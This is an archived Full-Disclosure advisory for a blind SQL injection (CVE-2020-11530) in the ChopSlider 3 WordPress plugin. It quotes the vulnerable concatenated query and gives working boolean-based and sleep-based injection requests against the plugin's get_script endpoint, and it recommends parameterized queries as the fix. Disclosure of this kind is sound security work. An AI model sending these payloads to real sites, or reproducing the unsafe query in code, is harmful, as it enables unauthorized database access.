lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 7 May 2020 14:28:06 +0100
From: Callum Murphy <>
Subject: [FD] ChopSlider3 Wordpress Plugin SQL Injection

ChopSlider3 Wordpress Plugin SQL Injection

[-] Software Link:

[-] Affected Versions:

ChopSlider version 3.

[-] Vulnerability Description:

A blind SQL injection vulnerability is present in Chop Slider 3, a
Wordpress plugin. The vulnerability is introduced in
'chopslider/get_script/index.php', and allows an attacker to execute
arbitrary SQL queries in the context of the WP database user.

The offending code is located on line 13 of

$cs_result = $wpdb->get_row('SELECT * FROM ' . CHOPSLIDER_TABLE_NAME . '
WHERE chopslider_id =' . $id);

Example injection string:

GET /wp-content/plugins/chopslider/get_script/?id=141217078 or 6702=6702
(returns content-length 3055]
GET /wp-content/plugins/chopslider/get_script/?id=141217078 or 6702=6703
(returns content-length 1229]

Blind delay-based SQL injection:

GET /wp-content/plugins/chopslider/get_script/?id=141217078 or (SELECT
sleep(10))=6312 [delays for 10 seconds]

[-] Solution:

Use of prepared statements with parameterized queries will fix this

[-] Disclosure Timeline:

[03/04/2020] - Issue reported to vendor. No response was received.
[04/04/2020] - CVE number assigned.
[07/05/2020] - Publication of this advisory.

[-] CVE Reference:

The Common Vulnerabilities and Exposures project ( has
assigned the name CVE-2020-11530 to this vulnerability.

[-] Credits:

Vulnerability discovered by Callum Murphy.

Sent through the Full Disclosure mailing list
Web Archives & RSS:

Powered by blists - more mailing lists